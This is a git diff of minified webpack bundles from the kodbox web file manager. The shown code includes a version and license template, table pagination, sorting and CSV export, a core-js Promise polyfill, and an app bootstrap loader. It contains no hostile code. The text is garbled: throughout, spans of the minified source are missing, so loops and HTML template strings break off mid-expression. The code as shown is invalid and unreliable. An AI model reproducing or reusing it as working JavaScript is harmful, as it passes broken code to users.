    ',t+=i(n["common.version.timeTo"]),t+=': ';r=''+n["common.version.licenseAll"]+"";a.timeTo-o.time()<=94608e3&&(r=o.dateFormat(a.timeTo,"timeDay")),t+=" ",t+=r,t+="
    "}if(t+=" ",a.timeToService){t+='
    ',t+=i(n["common.version.timeToService"]),t+=': ';s=o.dateFormat(a.timeToService,"timeDay");a.timeToService-o.time()<0&&(s+=''+n["common.version.timeout"]+""),t+=" ",t+=s,t+="
    "}t+=" ",a.user||a.timeTo||a.timeToService||(t+='
    ',t+=i(n["common.version.userTo"]),t+=': ',t+=i(l.system.options.systemName),t+='
    ',t+=i(n["common.copyright.licenseResetTips"]),t+='
    '),t+='
    ',t+=i(n["common.copyright.licenseReset"]),t+='
    ',t+=i(a.versionText),t+="
    "}return t+='
    ',t+=i(n["common.version.kodVersion"]),t+='
    ',t+=i(n["common.version"]),t+=': ',t+=i(l.kod.version),t+='
    build: ',t+=i(l.kod.build),t+="
    '}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var r=function n(e){return e&&e.__esModule?e:{"default":e}}(i(16));t["default"]=ClassBase.extend({"pageSizeArray":[20,50,100,200,500],"currentPath":"","currentPathPage":1,"pageNum":20,"init":function(e){},"pageLoad":function(e,t){var i=this.parent.target.find(".list-page");if(this.currentPath!==t&&(this.currentPath=t,this.currentPathPage=1),!e||!(0,r["default"])(e).length){var n=!1;e={"totalNum":this.parent.currentCount,"pageTotal":1}}var a={"totalNum":e.totalNum,"pageTotal":e.pageTotal,"pageShow":5,"pageCurrent":this.currentPathPage,"pageSize":this.pageNum,"pageSizeArray":this.pageSizeArray,"callback":_.bind(this.pageEventChange,this)};i.pageBox(a),!1===n&&i.find(".page-select").hide()},"pageEventChange":function(e,t){this.pageNum=t,this.currentPathPage=e,this.trigger("change",e)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.tbTarget=this.parent.target,this.sort(),this.makeToolbar()},"sort":function(){var a=this;this.tbTarget.delegate(".list-table .title .list-col:has('.font-icon')","click",function(){$(this).parents(".title").find(".list-col").removeClass("this"),$(this).addClass("this");var e=$(this).index(),t="font-icon list-sort-",i=$(this).find("i[class^='"+t+"'"),n=i.attr("class").replace(t,"");n="up"==n?"down":"up",i.attr("class",t+n),a.parent.config.order=[e,n],a.parent.refresh()})},"makeToolbar":function(){var e=this.parent.config.toolbar||null;if(e){var a=this,r=["search","export"];_.each(e,function(e,t){if(!_.includes(r,e.id))return!1;var i=e.side||"left",n="bind"+_.upperFirst(e.id);a[n](i,e)})}},"bindSearch":function(e,t){var i='';this.tbTarget.find(".toolbar ."+e).append(i);var n=this,a=function a(){n.parent.pageing.currentPathPage=1,n.parent.searchValue=$.trim(n.tbTarget.find(".search-box input").val()),n.parent.refresh()};this.tbTarget.delegate(".search-box .btn-search","click",function(){a()}),this.tbTarget.find(".search-box input").keydown(function(e){13==e.keyCode&&a()}),this.tbTarget.delegate(".search-box input","blur",function(){""!=_.trim($(this).val())&&$(this).next().removeClass("hidden")}),this.tbTarget.delegate(".search-box .btn-close","click",function(){$(this).prev().val(""),$(this).addClass("hidden"),a()})},"bindExport":function(e,a){var t='";this.tbTarget.find(".toolbar ."+e).append(t);var n=this;this.tbTarget.delegate(".btn-export","click",function(){var e=n.tbTarget.find(".list-table .list-row");if(!e.not(".title").length)return Tips.tips(LNG["common.empty"],"warning");var t=[];e.each(function(){var i=[],n=$(this).hasClass("title");$(this).find(".list-col").each(function(){var e=_.trim($(this).text());if(!n&&a.formatter&&_.isFunction(a.formatter)){var t=a.formatter($(this));_.isNull(t)||(e=t)}i.push('"'+e+'"')}),t.push(i.join(","))});var i=dateFormat(!1,"YmdHis")+roundString(4)+".csv";$.htmlDownload("\ufeff"+t.join("\r\n"),i)})}})},function(e,t,i){"use strict";i(0);e.exports=function(e){return'
    ','
    '}},,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,function(e,t,i){e.exports=i(732)},function(e,t,i){"use strict";var n=i(80),a=o(i(131)),r=o(i(281));function o(e){return e&&e.__esModule?e:{"default":e}}(0,n.loadApi)().then(function(){window.Router=new Backbone.Router,(0,r["default"])(),(0,a["default"])()})}]); \ No newline at end of file diff --git a/static/app/dist/lib.js b/static/app/dist/lib.js index 98ab8b4a..1cc13202 100644 --- a/static/app/dist/lib.js +++ b/static/app/dist/lib.js @@ -1,2 +1,2 @@ -/*! Powered by kodbox;hash:9e8aec7515da24826947 [2021/05/25 23:10:04] */ -!function(c){function t(t){for(var n,e,r=t[0],i=t[1],o=0,u=[];o=t.length?(this._t=undefined,i(1)):i(0,"keys"==n?e:"values"==n?t[e]:[e,t[e]])},"values"),o.Arguments=o.Array,r("keys"),r("values"),r("entries")},"121":function(t,n){t.exports=function(){}},"122":function(t,n,r){"use strict";function i(){}function d(t){var n;return!(!w(t)||"function"!=typeof(n=t.then))&&n}function o(l,e){if(!l._n){l._n=!0;var r=l._c;x(function(){for(var s=l._v,f=1==l._s,t=0,n=function(t){var n,e,r,i=f?t.ok:t.fail,o=t.resolve,u=t.reject,c=t.domain;try{i?(f||(2==l._h&&H(l),l._h=1),!0===i?n=s:(c&&c.enter(),n=i(s),c&&(c.exit(),r=!0)),n===t.promise?u(j("Promise-chain cycle")):(e=d(n))?e.call(n,o,u):o(n)):u(s)}catch(a){c&&!r&&c.exit(),u(a)}};r.length>t;)n(r[t++]);l._c=[],l._n=!1,e&&!l._h&&N(l)})}}function u(t){var n=this;n._d||(n._d=!0,(n=n._w||n)._v=t,n._s=2,n._a||(n._a=n._c.slice()),o(n,!0))}var e,c,a,s,f=r(28),l=r(3),p=r(16),h=r(40),v=r(7),w=r(9),m=r(25),y=r(60),_=r(35),g=r(67),b=r(68).set,x=r(124)(),P=r(48),T=r(69),S=r(125),A=r(70),O="Promise",j=l.TypeError,k=l.process,L=k&&k.versions,$=L&&L.v8||"",E=l[O],C="process"==h(k),M=c=P.f,I=!!function(){try{var t=E.resolve(1),n=(t.constructor={})[r(4)("species")]=function(t){t(i,i)};return(C||"function"==typeof PromiseRejectionEvent)&&t.then(i)instanceof n&&0!==$.indexOf("6.6")&&-1===S.indexOf("Chrome/66")}catch(e){}}(),N=function(o){b.call(l,function(){var t,n,e,r=o._v,i=R(o);if(i&&(t=T(function(){C?k.emit("unhandledRejection",r,o):(n=l.onunhandledrejection)?n({"promise":o,"reason":r}):(e=l.console)&&e.error&&e.error("Unhandled promise rejection",r)}),o._h=C||R(o)?2:1),o._a=undefined,i&&t.e)throw t.v})},R=function(t){return 1!==t._h&&0===(t._a||t._c).length},H=function(n){b.call(l,function(){var t;C?k.emit("rejectionHandled",n):(t=l.onrejectionhandled)&&t({"promise":n,"reason":n._v})})},G=function(e){var r,i=this;if(!i._d){i._d=!0,i=i._w||i;try{if(i===e)throw j("Promise can't be resolved itself");(r=d(e))?x(function(){var t={"_w":i,"_d":!1};try{r.call(e,p(G,t,1),p(u,t,1))}catch(n){u.call(t,n)}}):(i._v=e,i._s=1,o(i,!1))}catch(t){u.call({"_w":i,"_d":!1},t)}}};I||(E=function(t){y(this,E,O,"_h"),m(t),e.call(this);try{t(p(G,this,1),p(u,this,1))}catch(n){u.call(this,n)}},(e=function(t){this._c=[],this._a=undefined,this._s=0,this._d=!1,this._v=undefined,this._h=0,this._n=!1}).prototype=r(61)(E.prototype,{"then":function(t,n){var e=M(g(this,E));return e.ok="function"!=typeof t||t,e.fail="function"==typeof n&&n,e.domain=C?k.domain:undefined,this._c.push(e),this._a&&this._a.push(e),this._s&&o(this,!1),e.promise},"catch":function(t){return this.then(undefined,t)}}),a=function(){var t=new e;this.promise=t,this.resolve=p(G,t,1),this.reject=p(u,t,1)},P.f=M=function(t){return t===E||t===s?new a(t):c(t)}),v(v.G+v.W+v.F*!I,{"Promise":E}),r(30)(E,O),r(83)(O),s=r(1)[O],v(v.S+v.F*!I,O,{"reject":function(t){var n=M(this);return(0,n.reject)(t),n.promise}}),v(v.S+v.F*(f||!I),O,{"resolve":function(t){return A(f&&this===s?E:this,t)}}),v(v.S+v.F*!(I&&r(103)(function(t){E.all(t)["catch"](i)})),O,{"all":function(t){var u=this,n=M(u),c=n.resolve,a=n.reject,e=T(function(){var r=[],i=0,o=1;_(t,!1,function(t){var n=i++,e=!1;r.push(undefined),o++,u.resolve(t).then(function(t){e||(e=!0,r[n]=t,--o||c(r))},a)}),--o||c(r)});return e.e&&a(e.v),n.promise},"race":function(t){var n=this,e=M(n),r=e.reject,i=T(function(){_(t,!1,function(t){n.resolve(t).then(e.resolve,r)})});return i.e&&r(i.v),e.promise}})},"123":function(t,n){t.exports=function(t,n,e){var r=e===undefined;switch(n.length){case 0:return r?t():t.call(e);case 1:return r?t(n[0]):t.call(e,n[0]);case 2:return r?t(n[0],n[1]):t.call(e,n[0],n[1]);case 3:return r?t(n[0],n[1],n[2]):t.call(e,n[0],n[1],n[2]);case 4:return r?t(n[0],n[1],n[2],n[3]):t.call(e,n[0],n[1],n[2],n[3])}return t.apply(e,n)}},"124":function(t,n,e){var c=e(3),a=e(68).set,s=c.MutationObserver||c.WebKitMutationObserver,f=c.process,l=c.Promise,d="process"==e(24)(f);t.exports=function(){function t(){var t,n;for(d&&(t=f.domain)&&t.exit();r;){n=r.fn,r=r.next;try{n()}catch(e){throw r?o():i=undefined,e}}i=undefined,t&&t.enter()}var r,i,o;if(d)o=function(){f.nextTick(t)};else if(!s||c.navigator&&c.navigator.standalone)if(l&&l.resolve){var n=l.resolve(undefined);o=function(){n.then(t)}}else o=function(){a.call(c,t)};else{var e=!0,u=document.createTextNode("");new s(t).observe(u,{"characterData":!0}),o=function(){u.data=e=!e}}return function(t){var n={"fn":t,"next":undefined};i&&(i.next=n),r||(r=n,o()),i=n}}},"125":function(t,n,e){var r=e(3).navigator;t.exports=r&&r.userAgent||""},"126":function(t,n,e){"use strict";var r=e(7),i=e(1),o=e(3),u=e(67),c=e(70);r(r.P+r.R,"Promise",{"finally":function(n){var e=u(this,i.Promise||o.Promise),t="function"==typeof n;return this.then(t?function(t){return c(e,n()).then(function(){return t})}:n,t?function(t){return c(e,n()).then(function(){throw t})}:n)}})},"127":function(t,n,e){"use strict";var r=e(7),i=e(48),o=e(69);r(r.S,"Promise",{"try":function(t){var n=i.f(this),e=o(t);return(e.e?n.reject:n.resolve)(e.v),n.promise}})},"128":function(t,n,e){"use strict";Object.defineProperty(n,"__esModule",{"value":!0}),n["default"]=function(){r(),i(),o(),a(),u(),Events.trigger("windowReady");var t=document.createEvent("CustomEvent");t.initCustomEvent("kodReadyView",!0,!0,{"source":window}),document.dispatchEvent(t)};var r=function r(){if($.fn.perfectScroll){var t=function t(){$(".perfectScroll").perfectScroll()};$(window).bind("resize",t),$(window).bind("scoller",t)}},i=function i(){if(!$.isWindowTouch()&&$.fn.poshytip){var t=$("[title]");t.poshytip({"className":"ptips-skin","liveEvents":!0,"slide":!1,"alignTo":"cursor","alignX":"right","alignY":"bottom","showAniDuration":150,"hideAniDuration":200,"offsetY":10,"offsetX":20,"showTimeout":function(){$(".ptips-skin").length;var t=1500;return $(this).attr("title-timeout")&&(t=parseInt($(this).attr("title-timeout"))),t},"content":function(t){if(!($(this).hasClass("context-menu-active")||$(this).is(":focus")||t.hasClass("disable")||t.hasClass("disable-title"))){t.addClass("yellow");var n=$(this).data("title.poshytip");if($(this).attr("title-data")){var e=$($(this).attr("title-data"));n=e.is("input")||e.is("textarea")?e.val():e.html()}return-1==(n=n||"").indexOf("<")&&-1==n.indexOf(">")&&(n=n.replace(/\n/g,"
    ")),n}}}),$(document).bind("keydown keyup mousedown mouseup click",function(){$.fn.poshytip&&($(t).poshytip("clearTimeouts").poshytip("hide"),$(".ptips-skin").remove())}),$("input,textarea").live("focus",function(){$.fn.poshytip&&($(t).poshytip("hide"),$(".ptips-skin").remove())})}},o=function o(){window.API_HOST&&(template.defaults.cache=!0,template.defaults.minimize=!1,template.defaults.compileDebug=!1)},c=function c(){if(!$.isWindowTouch()){var t=[".menuBar .menu-dropdown-user > .ripple-item",".setting-menu-left .menu-item-content",".admin-menu-left .menu-item-content"].join(",");$.hoverAnimate({"el":t,"delegate":"body"})}},a=function a(){var t="a,button,.ripple-item,.context-menu-item,.kui-btn,.btn,.button";if($.isWindowTouch()&&(t="a,button,.ripple-item,.kui-btn,.btn,.button"),loadRipple(t,".disable-ripple,.disabled,.disable,.ztree"),c(),$(window).bind("resize",function(){Events.trigger("window.resize")}),$("body").delegate("img,a","dragstart",function(t){return stopPP(t)}),window.API_HOST){$("body").delegate("[link-href]","click",function(t){return u(t,"")}),$("body").delegate("a","click",function(t){"#"==$(this).attr("href")&&t.preventDefault()}),$("body").delegate("[link-href]","mouseup",function(t){if(2==t.which)return u(t,"_blank")});var u=function u(t,n){var e=$(t.currentTarget),r=e.attr("link-href")||"#",i=(n=n||e.attr("target"),_.startsWith(r,"http://")||_.startsWith(r,"https://")),o=r;if(!i){if(r.startsWith("/")||r.startsWith("./"))return 2==t.which||"_blank"==n?window.open(o):void(window.location.href=r);o=$.parseUrl().urlPath+("#"==r?"":"#"+r)}return e.attr("dialog-open")||"dialog"==n?core.openDialog(o,"",htmlEncode(e.text())):i?void("_blank"==n?window.open(o):window.location.href=o):2==t.which||"_blank"==n?window.open(o):void Router.go(r)}}},u=function u(){$.fn.tabCurrent=function(){var t=$(this);if(!t||0==t.length)return this;var n=t.parent(),e=t.outerWidth(),r=t.offset().left-n.offset().left,i=n.children(".tab-item-bar");if(0==i.length)return this;i.data("initTab")||(i.data("initTab",1),i.addClass("no-animate opacity-hidden"),setTimeout(function(){i.removeClass("opacity-hidden"),n.children(".tab-item").filter(".active").tabCurrent()},10),setTimeout(function(){n.children(".tab-item").filter(".active").tabCurrent(),i.removeClass("no-animate")},300)),e=1*t.width(),r+=(t.outerWidth()-e)/2;var o=n.offset().top+n.outerHeight(),u=t.offset().top+t.outerHeight(),c={"width":e+"px","left":r+"px","transform":"translate3d(0px,-"+Math.abs(o-u+1)+"px, 0px)"};i.css(c),n.children(".tab-item").removeClass("active"),t.addClass("active");var a=n.parent().children(".tab-group-pan").children(".tab-content");if(0!=a.length){var s=a.filter(":visible"),f=a.filter("."+t.attr("tab-name"));s.switchTo(f)}return this},$(document).delegate(".tab-group-line .tab-item","click",function(){$(this).tabCurrent()});var t=_.debounce(function(){$(".tab-group-line .tab-item.active").each(function(){$(this).tabCurrent()})},50);$(window).bind("resize",t),$.isWindowTouch()&&s()},s=function s(){}},"14":function(t,n,e){var r=e(10),i=e(33);t.exports=e(11)?function(t,n,e){return r.f(t,n,i(1,e))}:function(t,n,e){return t[n]=e,t}},"16":function(t,n,e){var o=e(25);t.exports=function(r,i,t){if(o(r),i===undefined)return r;switch(t){case 1:return function(t){return r.call(i,t)};case 2:return function(t,n){return r.call(i,t,n)};case 3:return function(t,n,e){return r.call(i,t,n,e)}}return function(){return r.apply(i,arguments)}}},"17":function(t,n){var e={}.hasOwnProperty;t.exports=function(t,n){return e.call(t,n)}},"18":function(t,n){t.exports=function(t){try{return!!t()}catch(n){return!0}}},"19":function(t,n,e){var r=e(59),i=e(39);t.exports=function(t){return r(i(t))}},"21":function(t,n){t.exports={}},"24":function(t,n){var e={}.toString;t.exports=function(t){return e.call(t).slice(8,-1)}},"25":function(t,n){t.exports=function(t){if("function"!=typeof t)throw TypeError(t+" is not a function!");return t}},"27":function(t,n,e){var r=e(79),i=e(50);t.exports=Object.keys||function(t){return r(t,i)}},"28":function(t,n){t.exports=!0},"3":function(t,n){var e=t.exports="undefined"!=typeof window&&window.Math==Math?window:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")();"number"==typeof __g&&(__g=e)},"30":function(t,n,e){var r=e(10).f,i=e(17),o=e(4)("toStringTag");t.exports=function(t,n,e){t&&!i(t=e?t:t.prototype,o)&&r(t,o,{"configurable":!0,"value":n})}},"31":function(t,n,e){"use strict";var r=e(114)(!0);e(51)(String,"String",function(t){this._t=String(t),this._i=0},function(){var t,n=this._t,e=this._i;return e>=n.length?{"value":undefined,"done":!0}:(t=r(n,e),this._i+=t.length,{"value":t,"done":!1})})},"33":function(t,n){t.exports=function(t,n){return{"enumerable":!(1&t),"configurable":!(2&t),"writable":!(4&t),"value":n}}},"34":function(t,n,e){e(120);for(var r=e(3),i=e(14),o=e(21),u=e(4)("toStringTag"),c="CSSRuleList,CSSStyleDeclaration,CSSValueList,ClientRectList,DOMRectList,DOMStringList,DOMTokenList,DataTransferItemList,FileList,HTMLAllCollection,HTMLCollection,HTMLFormElement,HTMLSelectElement,MediaList,MimeTypeArray,NamedNodeMap,NodeList,PaintRequestList,Plugin,PluginArray,SVGLengthList,SVGNumberList,SVGPathSegList,SVGPointList,SVGStringList,SVGTransformList,SourceBufferList,StyleSheetList,TextTrackCueList,TextTrackList,TouchList".split(","),a=0;adocument.F=Object<\/script>"),t.close(),f=t.F;e--;)delete f[s][c[e]];return f()};t.exports=Object.create||function(t,n){var e;return null!==t?(i[s]=o(t),e=new i,i[s]=null,e[a]=t):e=f(),n===undefined?e:u(e,n)}},"59":function(t,n,e){var r=e(24);t.exports=Object("z").propertyIsEnumerable(0)?Object:function(t){return"String"==r(t)?t.split(""):Object(t)}},"60":function(t,n){t.exports=function(t,n,e,r){if(!(t instanceof n)||r!==undefined&&r in t)throw TypeError(e+": incorrect invocation!");return t}},"61":function(t,n,e){var i=e(14);t.exports=function(t,n,e){for(var r in n)e&&t[r]?t[r]=n[r]:i(t,r,n[r]);return t}},"65":function(t,n,e){var r=e(3).document;t.exports=r&&r.documentElement},"66":function(t,n,e){var r=e(40),i=e(4)("iterator"),o=e(21);t.exports=e(1).getIteratorMethod=function(t){if(t!=undefined)return t[i]||t["@@iterator"]||o[r(t)]}},"67":function(t,n,e){var i=e(12),o=e(25),u=e(4)("species");t.exports=function(t,n){var e,r=i(t).constructor;return r===undefined||(e=i(r)[u])==undefined?n:o(e)}},"68":function(t,n,e){function r(){var t=+this;if(_.hasOwnProperty(t)){var n=_[t];delete _[t],n()}}function i(t){r.call(t.data)}var o,u,c,a=e(16),s=e(123),f=e(65),l=e(45),d=e(3),p=d.process,h=d.setImmediate,v=d.clearImmediate,w=d.MessageChannel,m=d.Dispatch,y=0,_={},g="onreadystatechange";h&&v||(h=function(t){for(var n=[],e=1;ei;)u(r,e=n[i++])&&(~a(o,e)||o.push(e));return o}},"80":function(t,n,e){"use strict";Object.defineProperty(n,"__esModule",{"value":!0}),n.loadPlugin=n.loadLang=n.loadOption=n.loadApi=n.loadMain=undefined;var r=function w(t){return t&&t.__esModule?t:{"default":t}}(e(81));window.Promise||(window.Promise=r["default"]);var i="./static/";if(window.API_HOST){var o=API_HOST.split("/");o.pop(),i=o.join("/")+"/static/"}window.API_URL=function(t,n){var e=window.API_HOST,r="&";return _.isNull(n)||_.isUndefined(n)?e+(t||""):(-1==e.indexOf("?")&&(r="?"),e+(t||"")+r+(n||""))},window.API_URL_TRUE=function(t){var n=(t=t||window.location.href).replace(API_URL(),"").replace(G.kod.APP_HOST,"").replace("?","&");return G.kod.APP_HOST+"?"+n};var u=window.STATIC_PATH||i;e.p=u+"app/dist/";var c=e.e(3).then(function(t){e(584),e(585),e(586),e(587),e(588),e(589),e(590),e(591),e(592),e(593),e(594),e(595),e(596),e(597),e(598),e(599),e(600),e(601),e(602),e(603),e(604),e(605),e(606),e(607),e(608),e(609),e(610),e(611),e(612),window.Pinyin=e(613)["default"],e(614),e(615),e(616),e(617),e(618),e(619),e(620),e(621),e(622),e(623),e(624),e(625),e(626),e(627),e(628),e(629),e(630),e(631),e(632),e(633),window.Backbone.$=$,window.Events=Backbone.Events,s()}.bind(null,e))["catch"](e.oe),a=Date.now(),s=function s(){var e=seajs.use;seajs.use=function(){var t=_.toArray(arguments),r=function r(t){var n=_.get(window,"G.kod.version",""),e=_.get(window,"G.kod.build","");return!(n=1==_.get(window,"G.kod.ENV_DEV")?a:n+"."+e)||_.includes(t,"&v=")||_.includes(t,"?v=")?t:_.includes(t,"?")?t:(_.endsWith(t,".htm")||_.endsWith(t,".html")||_.endsWith(t,".css")||_.endsWith(t,".json")||_.endsWith(t,".js")||(t+=".js"),t+"?v="+n)},n=t[0];_.isString(n)?t[0]=r(n):_.isArray(n)&&(t[0]=_.map(n,function(t){return r(t)})),e.apply(seajs,t)},window._ktime=dateFormat(!1,"dhi"),window.requireAsync=seajs.use,window.requirePromise=function(t){var n=$.Deferred();return seajs.use(t,n.resolve),n}};(function m(){if("development"==window.lessENV){var r=XMLHttpRequest.prototype.open;XMLHttpRequest.prototype.open=function(t,n){var e=Array.prototype.slice.call(arguments,0);return n.match(/\.less$/)&&(e[1]=n+"?_t="+a),r.apply(this,e)}}})();var f=function f(){var t=window.STATIC_PATH_ALL||i;requireAsync([t+"style/lib/alifont/iconfont.css",t+"style/lib/font-icon/style.css"])},l=function l(){var t=API_URL("user/view/plugins","v="+time());return requirePromise(t)},d=function d(){var t=API_URL("user/view/options","v="+time());return requirePromise("text!"+t).then(function(t){if(t&&((t=JSON.parse(t))&&t.code&&t.data)){window.G=_.extend(window.G||{},t.data);var n=G.kod.staticPath,e=API_URL();if(!_.startsWith(n,"http")){if(_.startsWith(n,"/"))n=$.parseUrl(e).origin+n;else n=e.substr(0,_.lastIndexOf(e,"/"))+"/"+n;n=n.replace("/./","/")}window.STATIC_PATH_ALL=window.STATIC_PATH_ALL||G.kod.APP_HOST+"static/",window.STATIC_PATH=n,window.VENDER_PATH=window.STATIC_PATH+"app/vender/",window.API_HOST=G.kod.appApi,$.dialog.defaults.path=window.STATIC_PATH+"app/vender/artDialog-icon/",requireAsync(window.STATIC_PATH+"style/lib/alifont/iconfont.js"),f()}})},p=function p(){var t=API_URL("user/view/lang","v="+time());return requirePromise("text!"+t).then(function(t){(t=t&&JSON.parse(t))&&t.code&&t.data&&(window.LNG=_.extend(window.LNG||{},_.get(t,"data.list")),window.G.lang=_.get(t,"data.lang"),window.LNG.find=function(e){var r={};return _.each(LNG,function(t,n){_.includes(t,e)&&(r[n]=t)}),r},window.LNG.make=function(t){var n=_.toArray(arguments),e=LNG[t];if(!e)return t;for(var r=1;r .loading-body").fadeOut(1e3,function(){$(this).remove()})})},v=function v(){return window.API_HOST?c.then(function(){NProgress.isStarted()||NProgress.start(),NProgress.set(.6)}).then(d).then(function(){NProgress.set(.8)}).then(p).then(function(){NProgress.done()}):c.then()};n.loadMain=h,n.loadApi=v,n.loadOption=d,n.loadLang=p,n.loadPlugin=l},"81":function(t,n,e){t.exports={"default":e(113),"__esModule":!0}},"82":function(t,n){t.exports=function(t,n){return{"value":n,"done":!!t}}},"83":function(t,n,e){"use strict";var r=e(3),i=e(1),o=e(10),u=e(11),c=e(4)("species");t.exports=function(t){var n="function"==typeof i[t]?i[t]:r[t];u&&n&&!n[c]&&o.f(n,c,{"configurable":!0,"get":function(){return this}})}},"9":function(t,n){t.exports=function(t){return"object"==typeof t?null!==t:"function"==typeof t}}}); \ No newline at end of file +/*! Powered by kodbox;hash:82c6cf9f2fafbdc655a8 [2021/05/26 22:18:41] */ +!function(c){function t(t){for(var n,e,r=t[0],i=t[1],o=0,u=[];o=t.length?(this._t=undefined,i(1)):i(0,"keys"==n?e:"values"==n?t[e]:[e,t[e]])},"values"),o.Arguments=o.Array,r("keys"),r("values"),r("entries")},"124":function(t,n){t.exports=function(){}},"125":function(t,n,r){"use strict";function i(){}function d(t){var n;return!(!w(t)||"function"!=typeof(n=t.then))&&n}function o(l,e){if(!l._n){l._n=!0;var r=l._c;x(function(){for(var s=l._v,f=1==l._s,t=0,n=function(t){var n,e,r,i=f?t.ok:t.fail,o=t.resolve,u=t.reject,c=t.domain;try{i?(f||(2==l._h&&H(l),l._h=1),!0===i?n=s:(c&&c.enter(),n=i(s),c&&(c.exit(),r=!0)),n===t.promise?u(j("Promise-chain cycle")):(e=d(n))?e.call(n,o,u):o(n)):u(s)}catch(a){c&&!r&&c.exit(),u(a)}};r.length>t;)n(r[t++]);l._c=[],l._n=!1,e&&!l._h&&N(l)})}}function u(t){var n=this;n._d||(n._d=!0,(n=n._w||n)._v=t,n._s=2,n._a||(n._a=n._c.slice()),o(n,!0))}var e,c,a,s,f=r(28),l=r(3),p=r(17),h=r(40),v=r(8),w=r(9),m=r(25),y=r(60),_=r(35),g=r(67),b=r(68).set,x=r(127)(),P=r(48),T=r(69),S=r(128),A=r(70),O="Promise",j=l.TypeError,k=l.process,L=k&&k.versions,$=L&&L.v8||"",E=l[O],C="process"==h(k),M=c=P.f,I=!!function(){try{var t=E.resolve(1),n=(t.constructor={})[r(4)("species")]=function(t){t(i,i)};return(C||"function"==typeof PromiseRejectionEvent)&&t.then(i)instanceof n&&0!==$.indexOf("6.6")&&-1===S.indexOf("Chrome/66")}catch(e){}}(),N=function(o){b.call(l,function(){var t,n,e,r=o._v,i=R(o);if(i&&(t=T(function(){C?k.emit("unhandledRejection",r,o):(n=l.onunhandledrejection)?n({"promise":o,"reason":r}):(e=l.console)&&e.error&&e.error("Unhandled promise rejection",r)}),o._h=C||R(o)?2:1),o._a=undefined,i&&t.e)throw t.v})},R=function(t){return 1!==t._h&&0===(t._a||t._c).length},H=function(n){b.call(l,function(){var t;C?k.emit("rejectionHandled",n):(t=l.onrejectionhandled)&&t({"promise":n,"reason":n._v})})},G=function(e){var r,i=this;if(!i._d){i._d=!0,i=i._w||i;try{if(i===e)throw j("Promise can't be resolved itself");(r=d(e))?x(function(){var t={"_w":i,"_d":!1};try{r.call(e,p(G,t,1),p(u,t,1))}catch(n){u.call(t,n)}}):(i._v=e,i._s=1,o(i,!1))}catch(t){u.call({"_w":i,"_d":!1},t)}}};I||(E=function(t){y(this,E,O,"_h"),m(t),e.call(this);try{t(p(G,this,1),p(u,this,1))}catch(n){u.call(this,n)}},(e=function(t){this._c=[],this._a=undefined,this._s=0,this._d=!1,this._v=undefined,this._h=0,this._n=!1}).prototype=r(61)(E.prototype,{"then":function(t,n){var e=M(g(this,E));return e.ok="function"!=typeof t||t,e.fail="function"==typeof n&&n,e.domain=C?k.domain:undefined,this._c.push(e),this._a&&this._a.push(e),this._s&&o(this,!1),e.promise},"catch":function(t){return this.then(undefined,t)}}),a=function(){var t=new e;this.promise=t,this.resolve=p(G,t,1),this.reject=p(u,t,1)},P.f=M=function(t){return t===E||t===s?new a(t):c(t)}),v(v.G+v.W+v.F*!I,{"Promise":E}),r(30)(E,O),r(83)(O),s=r(1)[O],v(v.S+v.F*!I,O,{"reject":function(t){var n=M(this);return(0,n.reject)(t),n.promise}}),v(v.S+v.F*(f||!I),O,{"resolve":function(t){return A(f&&this===s?E:this,t)}}),v(v.S+v.F*!(I&&r(103)(function(t){E.all(t)["catch"](i)})),O,{"all":function(t){var u=this,n=M(u),c=n.resolve,a=n.reject,e=T(function(){var r=[],i=0,o=1;_(t,!1,function(t){var n=i++,e=!1;r.push(undefined),o++,u.resolve(t).then(function(t){e||(e=!0,r[n]=t,--o||c(r))},a)}),--o||c(r)});return e.e&&a(e.v),n.promise},"race":function(t){var n=this,e=M(n),r=e.reject,i=T(function(){_(t,!1,function(t){n.resolve(t).then(e.resolve,r)})});return i.e&&r(i.v),e.promise}})},"126":function(t,n){t.exports=function(t,n,e){var r=e===undefined;switch(n.length){case 0:return r?t():t.call(e);case 1:return r?t(n[0]):t.call(e,n[0]);case 2:return r?t(n[0],n[1]):t.call(e,n[0],n[1]);case 3:return r?t(n[0],n[1],n[2]):t.call(e,n[0],n[1],n[2]);case 4:return r?t(n[0],n[1],n[2],n[3]):t.call(e,n[0],n[1],n[2],n[3])}return t.apply(e,n)}},"127":function(t,n,e){var c=e(3),a=e(68).set,s=c.MutationObserver||c.WebKitMutationObserver,f=c.process,l=c.Promise,d="process"==e(24)(f);t.exports=function(){function t(){var t,n;for(d&&(t=f.domain)&&t.exit();r;){n=r.fn,r=r.next;try{n()}catch(e){throw r?o():i=undefined,e}}i=undefined,t&&t.enter()}var r,i,o;if(d)o=function(){f.nextTick(t)};else if(!s||c.navigator&&c.navigator.standalone)if(l&&l.resolve){var n=l.resolve(undefined);o=function(){n.then(t)}}else o=function(){a.call(c,t)};else{var e=!0,u=document.createTextNode("");new s(t).observe(u,{"characterData":!0}),o=function(){u.data=e=!e}}return function(t){var n={"fn":t,"next":undefined};i&&(i.next=n),r||(r=n,o()),i=n}}},"128":function(t,n,e){var r=e(3).navigator;t.exports=r&&r.userAgent||""},"129":function(t,n,e){"use strict";var r=e(8),i=e(1),o=e(3),u=e(67),c=e(70);r(r.P+r.R,"Promise",{"finally":function(n){var e=u(this,i.Promise||o.Promise),t="function"==typeof n;return this.then(t?function(t){return c(e,n()).then(function(){return t})}:n,t?function(t){return c(e,n()).then(function(){throw t})}:n)}})},"130":function(t,n,e){"use strict";var r=e(8),i=e(48),o=e(69);r(r.S,"Promise",{"try":function(t){var n=i.f(this),e=o(t);return(e.e?n.reject:n.resolve)(e.v),n.promise}})},"131":function(t,n,e){"use strict";Object.defineProperty(n,"__esModule",{"value":!0}),n["default"]=function(){r(),i(),o(),a(),u(),Events.trigger("windowReady");var t=document.createEvent("CustomEvent");t.initCustomEvent("kodReadyView",!0,!0,{"source":window}),document.dispatchEvent(t)};var r=function r(){if($.fn.perfectScroll){var t=function 